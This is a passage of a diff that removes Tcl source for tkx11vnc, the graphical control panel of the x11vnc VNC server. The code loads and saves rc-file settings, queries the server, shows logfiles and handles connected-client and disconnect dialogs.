-" set filex [tilde_expand \"~/.x11vncrc\"]\n"
-" if {[file exists $filex]} {\n"
-" load_settings $filex\n"
-" }\n"
-" }\n"
-"\n"
-" foreach var [array names cmd_var] {\n"
-" if {$var == \"novar\"} {\n"
-" continue\n"
-" }\n"
-" if {[regexp {^[ \\t]*$} $var]} {\n"
-" continue\n"
-" }\n"
-" if {[info exists menu_var($var)]} {\n"
-" if {$cmd_var($var) == \"boolean\"} {\n"
-" set menu_var($var) 1\n"
-" } else {\n"
-" set menu_var($var) $cmd_var($var)\n"
-" }\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc copy_default_vars {} {\n"
-" global menu_var default_var\n"
-" foreach item [array names default_var] {\n"
-" if {[info exists menu_var($item)]} {\n"
-" if {[info exists default_var($item)]} {\n"
-" set menu_var($item) $default_var($item)\n"
-" }\n"
-" }\n"
-" }\n"
-" foreach item [array names menu_var] {\n"
-" if {[info exists default_var($item)]} {\n"
-" set menu_var($item) $default_var($item)\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc update_menu_vars {{query \"\"}} {\n"
-" global all_settings menu_var query_result_list\n"
-" global x11vnc_icon_mode\n"
-"\n"
-" set debug [in_debug_mode]\n"
-"\n"
-" if {$query == \"USE_LIST\"} {\n"
-" ;\n"
-" } elseif {$query == \"\"} {\n"
-" set query_result_list [split_query $all_settings]\n"
-" } else {\n"
-" set query_result_list [split_query $query]\n"
-" }\n"
-"\n"
-" foreach piece $query_result_list {\n"
-"#puts stderr \"UMV: $piece\"\n"
-" if [regexp {icon_mode:0} $piece] {\n"
-" set x11vnc_icon_mode 0\n"
-" #puts stderr \"x11vnc_icon_mode: $x11vnc_icon_mode\"\n"
-" }\n"
-" if [regexp {icon_mode:1} $piece] {\n"
-" set x11vnc_icon_mode 1\n"
-" #puts stderr \"x11vnc_icon_mode: $x11vnc_icon_mode\"\n"
-" }\n"
-" # XXX ipv6\n"
-" if {[regexp {^([^:][^:]*):(.*)$} $piece m0 item val]} {\n"
-" if {[info exists menu_var($item)]} {\n"
-" set old $menu_var($item)\n"
-"#puts stderr \" $old\"\n"
-" if {$val == \"N/A\"} {\n"
-" continue\n"
-" }\n"
-" set menu_var($item) $val\n"
-" }\n"
-" if {$item == \"clients\"} {\n"
-" update_clients_menu $val\n"
-" } elseif {$item == \"display\"} {\n"
-" set_x11_display $val\n"
-" } elseif {$item == \"vncdisplay\"} {\n"
-" set_vnc_display $val\n"
-" } elseif {$item == \"http_url\"} {\n"
-" set_vnc_url $val\n"
-" }\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc load_settings {{file \"\"}} {\n"
-" global menu_var default_var env\n"
-"\n"
-" if {$file == \"\"} {\n"
-" if {![info exists menu_var(load-settings)]} {\n"
-" return\n"
-" }\n"
-" set file $menu_var(load-settings)\n"
-" }\n"
-" if {$file == \"\"} {\n"
-" return\n"
-" }\n"
-"\n"
-" set fh \"\"\n"
-" set filex [tilde_expand $file]\n"
-" catch {set fh [open $filex \"r\"]}\n"
-"\n"
-" if {$fh == \"\"} {\n"
-" append_text \"load_settings: *** failed to open $filex ***\\n\"\n"
-" return\n"
-" }\n"
-" copy_default_vars\n"
-"\n"
-" set str \"\"\n"
-" while {[gets $fh line] > -1} {\n"
-" regsub -all {\\\\#} $line {__QUOTED_HASH__} line\n"
-" if {[regexp {^[ \\t]*#} $line]} {\n"
-" continue\n"
-" }\n"
-" for {set i 0} {$i < 5} {incr i} {\n"
-" regsub {#.*$} $line \"\" line\n"
-" }\n"
-" if {[regexp {^[ \\t]*$} $line]} {\n"
-" continue\n"
-" }\n"
-" regsub -all {__QUOTED_HASH__} $line {#} line\n"
-" if {[regexp {\\\\$} $line]} {\n"
-" regsub {\\\\$} $line \" \" line\n"
-" append str \"$line\"\n"
-" } else {\n"
-" append str \"$line\\n\"\n"
-" }\n"
-" }\n"
-" close $fh\n"
-"\n"
-" set count 0\n"
-" set parms \"\"\n"
-"\n"
-" foreach line [split $str \"\\n\"] {\n"
-" set line [string trim $line]\n"
-" regsub {^--*} $line \"\" line\n"
-" regsub -all {[ \\t][ \\t]*} $line \" \" line\n"
-" set list [split $line]\n"
-" set item [lindex $list 0]\n"
-" set value [lindex $list 1]\n"
-" if {[regexp {^[ \\t]*$} $item]} {\n"
-" continue\n"
-" }\n"
-" if {$item == \"gui\"} {\n"
-" continue\n"
-" }\n"
-" if {[info exists menu_var($item)]} {\n"
-" if {[value_is_bool $item]} {\n"
-" set menu_var($item) 1\n"
-" incr count\n"
-" append parms \" -$item\\n\"\n"
-" } elseif {[value_is_string $item]} {\n"
-" if {$value != \"\"} {\n"
-" set menu_var($item) $value\n"
-" set nitem [get_nitem $item]\n"
-" append parms \" -$nitem $value\\n\"\n"
-" incr count\n"
-" }\n"
-" }\n"
-" }\n"
-" }\n"
-" append_text \"loaded $count parameter settings from $filex\"\n"
-" if {$count > 0} {\n"
-" append_text \":\\n\"\n"
-" append_text $parms\n"
-" } else {\n"
-" append_text \".\\n\"\n"
-" }\n"
-"}\n"
-"\n"
-"proc save_settings {} {\n"
-" set rc_text [get_settings_rcfile]\n"
-"\n"
-" set top \"#\n"
-"# This file is based on the current x11vnc settings and can be used as\n"
-"# as a ~/.x11vncrc defaults file. If saved to another filename, these\n"
-"# settings can be passed to x11vnc at startup via \\\"-rc <filename>\\\".\n"
-"#\n"
-"# The rc file comment character is \\\"#\\\". Use \\\"\\\\#\\\" for the literal char.\n"
-"# You can continue lines using \\\"\\\\\\\" as the last character of a line.\n"
-"#\n"
-"# Lines beginning with \\\"#d\\\" indicate the parameter value is at its default\n"
-"# setting and you probably want to leave it commented out.\n"
-"#\n"
-"# Lines beginning with \\\"#?\\\" indicate parameters you probably do not\n"
-"# want to hardwire to the current setting (uncomment if you want that).\n"
-"# \n"
-"# Some parameters are boolean, e.g. -forever, and take no value; while\n"
-"# the others, e.g. -wait 50, take a string or numerical value.\n"
-"#\n"
-"# For booleans, the line will end with comment \\\"default: on\\\" or\n"
-"# \\\"default: off\\\" indicating the default setting. (Note: often\n"
-"# \\\"-nofoobar\\\" corresponds to option \\\"-foobar\\\" and the former is\n"
-"# \\\"the default\\\", e.g. -norepeat).\n"
-"#\n"
-"# For string or numerical options, the value \\\"\\\" in a line below\n"
-"# means the default is unset and you will need to supply some non-empty\n"
-"# value to use the parameter. For reference, if the default differs\n"
-"# from your value it placed at the end of the line as a comment.\n"
-"# \n"
-"# Feel free to uncomment or comment any of the lines or to change any\n"
-"# of the values of the parameters. Don't be surprised that most if not\n"
-"# all of the lines below are commented out (x11vnc has so many parameters,\n"
-"# most of them will be at their default values).\n"
-"#-------------------------------------------------------------------------\n"
-"\n"
-"\"\n"
-"\n"
-" set rc_text \"$top$rc_text\"\n"
-"\n"
-" global env save_settings_var save_settings_var_ok\n"
-" if {[info exists env(HOME)]} {\n"
-" set save_settings_var \"$env(HOME)/.x11vncrc\"\n"
-" } else {\n"
-" set save_settings_var \".x11vncrc\"\n"
-" }\n"
-" set save_settings_var_ok 0\n"
-"\n"
-" set w [textwin \"save_settings\" \"Save Settings...\" $rc_text \\\n"
-" \"save_settings_var+Save as:\"]\n"
-"\n"
-" tkwait window $w\n"
-"\n"
-" if {$save_settings_var_ok == 1} {\n"
-" set file $save_settings_var\n"
-" if {$file == \"\"} {\n"
-" return\n"
-" }\n"
-" set file [tilde_expand $file]\n"
-" append_text \"\\nSaving current settings to $file ...\\n\" \n"
-" if {[file exists $file]} {\n"
-" set backup \"${file}~\"\n"
-" append_text \"Backing up $file -> $backup ...\\n\"\n"
-" catch {file delete -force $backup}\n"
-" set emsg \"*** Backup to $backup failed. ***\\n\"\n"
-" if {![file exists $backup]} {\n"
-" catch {file copy -force $file $backup}\n"
-" if {![file exists $backup]} {\n"
-" append_text $emsg\n"
-" bell\n"
-" }\n"
-" } else {\n"
-" append_text $emsg\n"
-" bell\n"
-" }\n"
-" }\n"
-" set fh \"\"\n"
-" catch {set fh [open $file \"w\"]}\n"
-" if {$fh != \"\"} {\n"
-" puts $fh $rc_text\n"
-" close $fh\n"
-" if {![file exists $file]} {\n"
-" append_text \"*** Saving to $file failed. ***\\n\"\n"
-" bell\n"
-" } else {\n"
-" append_text \"Done.\\n\"\n"
-" }\n"
-" } else {\n"
-" append_text \"*** Open of $file failed. ***\\n\"\n"
-" bell\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc clear_all {} {\n"
-" global menu_var unset_str\n"
-"\n"
-" set debug [in_debug_mode]\n"
-" \n"
-" foreach item [array names menu_var] {\n"
-" if {$item == \"debug_gui\"} {\n"
-" continue\n"
-" }\n"
-" if {[info exists menu_var($item)]} {\n"
-" if {[is_action $item]} {\n"
-" set menu_var($item) \"\"\n"
-" } elseif {[value_is_bool $item]} {\n"
-" set menu_var($item) 0\n"
-" } elseif {[value_is_string $item]} {\n"
-" set menu_var($item) $unset_str\n"
-" }\n"
-" }\n"
-" }\n"
-" append_text \"Cleared all settings.\\n\"\n"
-"}\n"
-"\n"
-"proc defaults_all {} {\n"
-" copy_default_vars\n"
-" append_text \"Reset all variables to default values.\\n\"\n"
-"}\n"
-"\n"
-"proc all_query_vars {} {\n"
-" global query_ans_list query_aro_list all_settings\n"
-" global cache_all_query_vars\n"
-" \n"
-" if {$cache_all_query_vars != \"\"} {\n"
-" return $cache_all_query_vars\n"
-" }\n"
-"\n"
-" set qry \"\"\n"
-" foreach item $query_ans_list {\n"
-" if {$qry == \"\"} {\n"
-" set qry $item\n"
-" } else {\n"
-" append qry \",$item\"\n"
-" }\n"
-" }\n"
-" foreach item $query_aro_list {\n"
-" if {$qry == \"\"} {\n"
-" set qry $item\n"
-" } else {\n"
-" append qry \",$item\"\n"
-" }\n"
-" }\n"
-" set cache_all_query_vars $qry\n"
-"\n"
-" global env\n"
-" if [info exists env(TKX11VNC_PRINT_ALL_VARS)] {\n"
-" puts \"--------------- BEGIN ALL VARS ---------------\"\n"
-" puts $qry\n"
-" puts \"--------------- END ALL VARS ---------------\"\n"
-" }\n"
-"\n"
-" return $qry\n"
-"}\n"
-"\n"
-"proc query_all {{quiet 0}} {\n"
-" global query_ans_list query_aro_list all_settings\n"
-" global last_query_all_time\n"
-"\n"
-" dtime 1\n"
-" set qry [all_query_vars]\n"
-"\n"
-" set qargs [list \"-Q\" $qry]\n"
-" set all [run_remote_cmd $qargs]\n"
-"\n"
-" if {[regexp {ans=} $all]} {\n"
-" if {! $quiet} {\n"
-" append_text \"Retrieved all current settings.\\n\"\n"
-" }\n"
-" set all_settings $all\n"
-" update_menu_vars $all\n"
-" } else {\n"
-" if {! $quiet} {\n"
-" append_text \"Failed to retrieve current settings.\\n\"\n"
-" }\n"
-" }\n"
-" set last_query_all_time [clock seconds]\n"
-" dtime 2\n"
-" return $all\n"
-"}\n"
-"\n"
-"proc set_info {str} {\n"
-" global info_str info_label\n"
-"#set w1 [$info_label cget -width]\n"
-"#set w2 [winfo width $info_label]\n"
-"#puts \"set_info: w=$w1 winfo=$w2\"\n"
-"#append_text \"$str\\n\"\n"
-" set info_str \"$str\"\n"
-" update\n"
-"}\n"
-"\n"
-"proc append_text {str} {\n"
-" global text_area text_area_str\n"
-"\n"
-" if {![info exists text_area_str]} {\n"
-" set text_area_str \"\"\n"
-" }\n"
-" append text_area_str $str\n"
-"\n"
-" if {![info exists text_area]} {\n"
-" puts stderr $str\n"
-" return\n"
-" }\n"
-" if {$text_area == \"\"} {\n"
-" puts stderr $str\n"
-" return\n"
-" }\n"
-" if {![winfo exists $text_area]} {\n"
-" puts stderr $str\n"
-" return\n"
-" }\n"
-" \n"
-" $text_area insert end $str\n"
-" $text_area see end\n"
-"}\n"
-"\n"
-"proc show_all_settings {} {\n"
-" global all_settings\n"
-" global client_sock client_tail\n"
-" global x11vnc_client_file\n"
-"\n"
-" set txt \"\\nRead-Write settings:\\n\\n\"\n"
-" foreach item [split_query $all_settings] {\n"
-" regsub {:} $item {: } item\n"
-" append txt \" $item\\n\"\n"
-" if {[regexp {noremote} $item]} {\n"
-" append txt \"\\nRead-Only settings:\\n\\n\"\n"
-" }\n"
-" }\n"
-" append txt \"\\nInternal settings:\\n\\n\"\n"
-" append txt \"x11vnc_client_file: $x11vnc_client_file\\n\"\n"
-" if {[info exists client_tail]} {\n"
-" append txt \"client_tail: $client_tail\\n\"\n"
-" } else {\n"
-" append txt \"client_tail: unset\\n\"\n"
-" }\n"
-" if {[info exists client_sock]} {\n"
-" append txt \"client_sock: $client_sock\\n\"\n"
-" } else {\n"
-" append txt \"client_sock: unset\\n\"\n"
-" }\n"
-" set estr \"\"\n"
-" catch {set estr [exec env | grep -i X11VNC]}\n"
-" append txt \"$estr\\n\"\n"
-" textwin \"Settings\" \"All Current Settings\" $txt\n"
-"}\n"
-"\n"
-"proc show_logfile {} {\n"
-" global menu_var unset_str\n"
-"\n"
-" set logfile [tilde_expand $menu_var(logfile)]\n"
-" \n"
-" if {$logfile == \"\" || $logfile == $unset_str} {\n"
-" set txt \"\\nNo logfile was specified at x11vnc startup.\\n\\n\" \n"
-" } elseif {![file exists $logfile]} {\n"
-" set txt \"\\nLogfile \\\"$logfile\\\" does not exist.\\n\\n\"\n"
-" } else {\n"
-" set fh \"-3\"\n"
-" set err \"\"\n"
-" catch {set fh [open $logfile \"r\"]} err\n"
-" if {$fh == \"-3\"} {\n"
-" set txt \"\\nError opening \\\"$logfile\\\" $err.\\n\\n\"\n"
-" } else {\n"
-" set txt \"\\nLogfile \\\"$logfile\\\" current contents:\\n\"\n"
-" while {[gets $fh line] > -1} {\n"
-" append txt \"$line\\n\"\n"
-" }\n"
-" close $fh\n"
-" }\n"
-" }\n"
-" textwin \"Logfile\" \"Logfile\" $txt\n"
-"}\n"
-"\n"
-"proc tail_logfile {} {\n"
-" global menu_var unset_str ffont\n"
-" set logfile $menu_var(logfile)\n"
-" \n"
-" set txt \"\"\n"
-" if {$logfile == \"\" || $logfile == $unset_str} {\n"
-" set txt \"\\nNo logfile was specified at x11vnc startup.\\n\\n\" \n"
-" } elseif {![file exists $logfile]} {\n"
-" set txt \"\\nLogfile \\\"$logfile\\\" does not exist.\\n\\n\"\n"
-" } else {\n"
-" set cmd \"\"\n"
-" set xterm_cmd \"xterm -sb -fn $ffont -geometry 80x45 -title x11vnc-logfile -e\"\n"
-" set cmd [split $xterm_cmd]\n"
-" lappend cmd \"tail\"\n"
-" lappend cmd \"-3000f\"\n"
-" lappend cmd $logfile\n"
-" lappend cmd \"&\"\n"
-" catch {[eval exec $cmd]}\n"
-" }\n"
-" if {$txt != \"\"} {\n"
-" textwin \"Logfile\" \"Logfile\" $txt\n"
-" }\n"
-"}\n"
-"\n"
-"proc set_connected {yesno} {\n"
-" global connected_to_x11vnc\n"
-" set orig $connected_to_x11vnc\n"
-" \n"
-" if {$yesno == \"yes\"} {\n"
-" set connected_to_x11vnc 1\n"
-" } else {\n"
-" set connected_to_x11vnc 0\n"
-" no_x11_display\n"
-" no_vnc_display\n"
-" }\n"
-" if {$orig != $connected_to_x11vnc} {\n"
-" set_widgets\n"
-" }\n"
-"}\n"
-"\n"
-"proc detach_from_display {} {\n"
-" global connected_to_x11vnc reply_xdisplay x11vnc_xdisplay\n"
-" set str \"Detaching from X display.\"\n"
-" if {$reply_xdisplay != \"\"} {\n"
-" set str \"Detaching from $reply_xdisplay.\"\n"
-" } elseif {$x11vnc_xdisplay != \"\"} {\n"
-" set str \"Detaching from $x11vnc_xdisplay.\"\n"
-" }\n"
-" if {$connected_to_x11vnc} {\n"
-" append_text \"$str\\n\"\n"
-" }\n"
-" set_connected no\n"
-"}\n"
-"\n"
-"proc do_stop_quit {} {\n"
-" push_new_value \"stop\" \"stop\" 1 0\n"
-" set_connected no\n"
-" update\n"
-" after 250\n"
-" destroy .\n"
-"}\n"
-"\n"
-"# Menu item is an action:\n"
-"proc do_action {item} {\n"
-" global menu_var connected_to_x11vnc beginner_mode\n"
-"\n"
-" if {[in_debug_mode]} {\n"
-" append_text \"action: \\\"$item\\\"\\n\"\n"
-" }\n"
-"#puts \"action: \\\"$item\\\"\\n\"\n"
-"\n"
-" if {$item == \"ping\"} {\n"
-" if {$beginner_mode} {\n"
-" try_connect_and_query_all\n"
-" } else {\n"
-" try_connect\n"
-" }\n"
-" return\n"
-" } elseif {$item == \"start\"} {\n"
-" start_x11vnc\n"
-" return\n"
-" } elseif {$item == \"detach\"} {\n"
-" detach_from_display\n"
-" return\n"
-" } elseif {$item == \"attach\"} {\n"
-" try_connect_and_query_all\n"
-" return\n"
-" } elseif {$item == \"update-all\"} {\n"
-" query_all\n"
-" return\n"
-" } elseif {$item == \"clear-all\"} {\n"
-" clear_all\n"
-" return\n"
-" } elseif {$item == \"defaults-all\"} {\n"
-" defaults_all\n"
-" return\n"
-" } elseif {$item == \"save-settings\"} {\n"
-" save_settings\n"
-" return\n"
-" } elseif {$item == \"show-start-cmd\"} {\n"
-" show_start_cmd\n"
-" return\n"
-" } elseif {$item == \"all-settings\"} {\n"
-" show_all_settings\n"
-" return\n"
-" } elseif {$item == \"show-logfile\"} {\n"
-" show_logfile\n"
-" return\n"
-" } elseif {$item == \"tail-logfile\"} {\n"
-" tail_logfile\n"
-" return\n"
-" } elseif {$item == \"Misc-Tuning:\"} {\n"
-" menu_help \"$item\"\n"
-" return\n"
-" } elseif {$item == \"WindowView\"} {\n"
-" change_view_state\n"
-" return\n"
-" } elseif {$item == \"quit\" || $item == \"Quit\"} {\n"
-" destroy .\n"
-" exit 0\n"
-" } elseif {$item == \"stop+quit\"} {\n"
-" do_stop_quit\n"
-" }\n"
-"\n"
-" if {[value_is_string $item]} {\n"
-" if {! [entry_dialog $item]} {\n"
-" return\n"
-" }\n"
-" set new $menu_var($item)\n"
-" set name $item\n"
-" } else {\n"
-" set new 1\n"
-" set name $item\n"
-" }\n"
-"\n"
-" if {$item == \"load-settings\"} {\n"
-" load_settings\n"
-" return\n"
-" }\n"
-"\n"
-" if {! $connected_to_x11vnc} {\n"
-" ;\n"
-" } elseif {[regexp {^(stop|quit|exit|shutdown)$} $item]} {\n"
-" # just do -R\n"
-" append_text \"stopping remote x11vnc server...\\n\"\n"
-" push_new_value $item $name $new 0\n"
-" set_connected no\n"
-" \n"
-" } elseif {[opt_match Q $item]} {\n"
-" push_new_value $item $name $new 1\n"
-" } else {\n"
-" push_new_value $item $name $new 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc ptime {time} {\n"
-" set usec [lindex [split $time] 0]\n"
-" set sec [format \"%.3f\" [expr \"$usec / 1000000.0\"]]\n"
-" puts \"time: $sec secs.\"\n"
-"}\n"
-"\n"
-"proc do_var {item} {\n"
-" global connected_to_x11vnc item_cascade menu_var\n"
-"\n"
-" set debug [in_debug_mode]\n"
-"\n"
-" set string 0\n"
-" if {[is_action $item] || $item == \"WindowView\"} {\n"
-" # Menu item is action:\n"
-" if {$debug} {\n"
-" ptime [time {do_action $item}]\n"
-" } else {\n"
-" do_action $item\n"
-" }\n"
-" return\n"
-" }\n"
-"\n"
-" if {[value_is_string $item]} {\n"
-" # Menu item is a string:\n"
-" if {$item_cascade($item) != \"\"} {\n"
-" # Cascade sets variable automatically\n"
-" } else {\n"
-" # Otherwise Entry box\n"
-" if {![entry_dialog $item]} {\n"
-" return\n"
-" }\n"
-" }\n"
-" set new $menu_var($item)\n"
-" set name $item\n"
-" } else {\n"
-" # Menu item is a boolean:\n"
-" set name [check_var $item]\n"
-" if {$name == \"\"} {\n"
-" return\n"
-" }\n"
-" set new 1\n"
-" }\n"
-" if {$connected_to_x11vnc} {\n"
-" if {$debug} {\n"
-" ptime [time {push_new_value $item $name $new 1}]\n"
-" } else {\n"
-" push_new_value $item $name $new 1\n"
-" }\n"
-"\n"
-" if {$item == \"http\"} {\n"
-" global vnc_url\n"
-" append_text \" URL: $vnc_url\\n\"\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc menu_help {item} {\n"
-" if ![help_win $item] {\n"
-" textwin \"nohelp\" \"No help available\" \\\n"
-" \"Sorry, no help avaiable for \\\"$item\\\"\"\n"
-" }\n"
-"}\n"
-"\n"
-"proc opt_match {c item} {\n"
-" global item_opts\n"
-" if {[info exists item_opts($item)]} {\n"
-" if {[regexp \"^\\[A-z\\]*$c\" $item_opts($item)]} {\n"
-" return 1\n"
-" }\n"
-" }\n"
-" return 0\n"
-"}\n"
-"\n"
-"proc is_action {item} {\n"
-" return [opt_match A $item]\n"
-"}\n"
-"\n"
-"proc is_gui_internal {item} {\n"
-" if {$item == \"Properties\"} {\n"
-" return 1\n"
-" }\n"
-" if {$item == \"Tray\"} {\n"
-" return 1\n"
-" }\n"
-" return [opt_match G $item]\n"
-"}\n"
-"\n"
-"proc is_browse {item} {\n"
-" return [opt_match F $item]\n"
-"}\n"
-"\n"
-"proc value_is_string {item} {\n"
-" global item_bool\n"
-" if {![info exists item_bool($item)]} {\n"
-" return 0\n"
-" }\n"
-" if {! $item_bool($item)} {\n"
-" return 1\n"
-" } else {\n"
-" return 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc value_is_bool {item} {\n"
-" global item_bool\n"
-" if {![info exists item_bool($item)]} {\n"
-" return 0\n"
-" }\n"
-" if {$item_bool($item)} {\n"
-" return 1\n"
-" } else {\n"
-" return 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc split_query0 {query} {\n"
-" # original slower way with regexp/regsub\n"
-" regsub -all {aro=} $query {ans=} query\n"
-" set items {}\n"
-" while {1} {\n"
-" if {! [regexp {^ans=(.*)$} $query m0 m1]} {\n"
-" break\n"
-" }\n"
-" set item $m1\n"
-" set m2 \"\"\n"
-" regexp {,ans=.*$} $item m2\n"
-" regsub {,ans=.*$} $item \"\" item\n"
-" if {$item != \"\"} {\n"
-" lappend items $item\n"
-" }\n"
-" set query $m2\n"
-" regsub {^,} $query \"\" query\n"
-" }\n"
-" return $items\n"
-"}\n"
-"\n"
-"proc split_query {query} {\n"
-" regsub -all {aro=} $query {ans=} query\n"
-" set items {}\n"
-" while {1} {\n"
-" set n [string first \"ans=\" $query]\n"
-" if {$n < 0} {\n"
-" break\n"
-" }\n"
-" set from [expr $n+4]\n"
-"\n"
-" set m [string first \",ans=\" $query]\n"
-" if {$m < 0} {\n"
-" set more 0\n"
-" set item [string range $query $from end]\n"
-" } else {\n"
-" set more 1\n"
-" set to [expr $m-1]\n"
-" set item [string range $query $from $to]\n"
-" }\n"
-" if {$item != \"\"} {\n"
-" lappend items $item\n"
-" }\n"
-" if {$more} {\n"
-" incr m\n"
-" set query [string range $query $m end]\n"
-" } else {\n"
-" set query \"\"\n"
-" }\n"
-" }\n"
-" return $items\n"
-"}\n"
-"\n"
-"proc set_x11_display {name} {\n"
-" global x11_display\n"
-" set x11_display \"x11vnc X display: $name\"\n"
-" set_name \"tkx11vnc - $name\"\n"
-"}\n"
-"proc set_vnc_display {name} {\n"
-" global vnc_display icon_mode\n"
-" set vnc_display \"VNC display: $name\"\n"
-"\n"
-" if {$icon_mode} {\n"
-" set_icon_label\n"
-" }\n"
-"}\n"
-"proc set_vnc_url {name} {\n"
-" global vnc_url\n"
-" set vnc_url $name\n"
-"}\n"
-"proc no_x11_display {} {\n"
-" set_x11_display \"(*none*)\"\n"
-" set_name \"tkx11vnc\"\n"
-"}\n"
-"proc no_vnc_display {} {\n"
-" set_vnc_display \"(*none*)\"\n"
-"}\n"
-"proc no_vnc_url {} {\n"
-" set_vnc_url \"(*none*)\"\n"
-"}\n"
-"\n"
-"proc get_vnc_display_number {} {\n"
-" global vnc_display\n"
-" if ![info exists vnc_display] {\n"
-" return \"none\"\n"
-" }\n"
-" if {$vnc_display == \"\"} {\n"
-" return \"none\"\n"
-" }\n"
-" set str $vnc_display\n"
-" regsub {VNC display: *} $str \"\" str\n"
-" if [regexp {:([0-9][0-9]*)} $str m0 n] {\n"
-" return $n\n"
-" }\n"
-" return \"none\"\n"
-"}\n"
-"\n"
-"proc fetch_displays {} {\n"
-"\n"
-" set qargs [list \"-Q\" \"display,vncdisplay\"]\n"
-" set result [run_remote_cmd $qargs]\n"
-"\n"
-" set got_x11 0\n"
-" set got_vnc 0\n"
-" set got_url 0\n"
-"\n"
-" foreach item [split_query $result] {\n"
-" if {[regexp {^display:(.*)$} $item m0 m1]} {\n"
-" set_x11_display $m1\n"
-" set got_x11 1\n"
-" } elseif {[regexp {^vncdisplay:(.*)$} $item m0 m1]} {\n"
-" set_vnc_display $m1\n"
-" set got_vnc 1\n"
-" } elseif {[regexp {^http_url:(.*)$} $item m0 m1]} {\n"
-" set_vnc_url $m1\n"
-" set got_url 1\n"
-" }\n"
-" }\n"
-" if {! $got_x11} {\n"
-" no_x11_display\n"
-" }\n"
-" if {! $got_vnc} {\n"
-" no_vnc_display\n"
-" }\n"
-" if {! $got_url} {\n"
-" no_vnc_url\n"
-" }\n"
-"}\n"
-"\n"
-"proc client_dialog {client} {\n"
-" set cid \"\"\n"
-" set host \"\"\n"
-" set ip \"\"\n"
-" global menu_var text_area cleanup_window item_bool\n"
-"\n"
-" #<id>:<ip>:<port>:<user>:<unix>:<hostname>:<input>:<loginview>:<time>\n"
-" append_text \"\\nClient info string:\\n - $client\\n\\n\"\n"
-" if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \\\n"
-" $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {\n"
-" set cid $m1\n"
-" set ip $m2\n"
-" set port $m3\n"
-" set user $m4\n"
-" set unix $m5\n"
-" set host $m6\n"
-" regsub {\\..*$} $host \"\" host\n"
-" set input $m7\n"
-" set logvo $m8\n"
-" set ltime $m9\n"
-" append_text \"Host: $host, Port: $port, User: $user\"\n"
-" if {$unix != \"\" && $unix != \"none\"} {\n"
-" append_text \", Unix: $unix\"\n"
-" }\n"
-" append_text \", IP: $ip, Id: $cid\\n\"\n"
-" append_text \" - originally logged in as: \"\n"
-" if {$logvo == \"1\" } {\n"
-" append_text \"View-Only Client\"\n"
-" } else {\n"
-" append_text \"Normal Client\"\n"
-" }\n"
-" if {$ltime != \"\"} {\n"
-" set tim [clock format $ltime]\n"
-" append_text \", $tim\"\n"
-" }\n"
-" append_text \"\\n\"\n"
-" append_text \" - currently allowed input: \"\n"
-" set sk 0\n"
-" set sm 0\n"
-" set sb 0\n"
-" set sc 0\n"
-" set sf 0\n"
-" if {[regexp -nocase {K} $input]} {\n"
-" append_text \"Keystrokes\"\n"
-" set sk 1\n"
-" }\n"
-" if {[regexp -nocase {M} $input]} {\n"
-" if {$sk} {\n"
-" append_text \", \"\n"
-" }\n"
-" append_text \"Mouse-Motion\"\n"
-" set sm 1\n"
-" }\n"
-" if {[regexp -nocase {B} $input]} {\n"
-" if {$sk || $sm} {\n"
-" append_text \", \"\n"
-" }\n"
-" append_text \"Button-Click\"\n"
-" set sb 1\n"
-" }\n"
-" if {[regexp -nocase {C} $input]} {\n"
-" if {$sk || $sm || $sb} {\n"
-" append_text \", \"\n"
-" }\n"
-" append_text \"Clipboard\"\n"
-" set sm 1\n"
-" }\n"
-" if {[regexp -nocase {F} $input]} {\n"
-" if {$sk || $sm || $sb || $sf} {\n"
-" append_text \", \"\n"
-" }\n"
-" append_text \"Files\"\n"
-" set sf 1\n"
-" }\n"
-" if {! $sk && ! $sm && ! $sb && ! $sm && ! $sf} {\n"
-" append_text \"None\"\n"
-" }\n"
-" append_text \"\\n\"\n"
-" }\n"
-" if {$cid == \"\"} {\n"
-" append_text \"Invalid client info string: $client\\n\"\n"
-" return\n"
-" }\n"
-"\n"
-" regsub -all {_} $input \"\" input\n"
-" set menu_var(client) \"$input\"\n"
-" set item_bool(client) 0\n"
-"\n"
-" insert_client_action_window $input\n"
-" set rc [entry_dialog client 1]\n"
-"\n"
-" cleanup_text_window\n"
-"\n"
-" set val $menu_var(client)\n"
-" #puts \"rc: $rc val: $val\"\n"
-"\n"
-" if {! $rc} {\n"
-" return;\n"
-" } elseif {[regexp -nocase {(disconnect|close)} $val]} {\n"
-" disconnect_dialog $client\n"
-" } else {\n"
-" regsub -all -nocase {[^KMBCF]} $val \"\" val\n"
-" set item_bool(client_input) 0\n"
-" push_new_value \"client_input\" \"client_input\" \"$cid:$val\" 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc disconnect_dialog {client} {\n"
-" set cid \"\"\n"
-" set host \"\"\n"
-" set msg \"\\n\"\n"
-" append msg \"*** Client info string:\\n $client\\n\"\n"
-" if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \\\n"
-" $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {\n"
-" set cid $m1\n"
-" set ip $m2\n"
-" set port $m3\n"
-" set user $m4\n"
-" set unix $m5\n"
-" set host $m6\n"
-" regsub {\\..*$} $host \"\" host\n"
-" set input $m7\n"
-" set logvo $m8\n"
-" set ltime $m9\n"
-" append_text \"Host: $host, Port: $port, IP: $ip, User: $user\"\n"
-" if {$unix != \"\" && $unix != \"none\"} {\n"
-" append_text \", Unix: $unix\"\n"
-" }\n"
-" append_text \", Id: $cid\\n\"\n"
-" }\n"
-" if {$cid == \"\"} {\n"
-" append_text \"Invalid client info string: $client\\n\"\n"
-" return\n"
-" }\n"
-" append msg \"*** To *DISCONNECT* this client press \\\"OK\\\" again, otherwise press \\\"Cancel\\\"\\n\"\n"
-" bell\n"
-" if {[warning_dialog $msg \"current\"]} {\n"
-" push_new_value \"disconnect\" \"disconnect\" $cid 1\n"
-" } else {\n"
-" append_text \"disconnect cancelled.\\n\"\n"
-" }\n"
-"}\n"
-"\n"
-"proc update_clients_and_repost {} {\n"
-" global item_cascade menu_m menu_b\n"
-"\n"
-" append_text \"Refreshing connected clients list... \"\n"
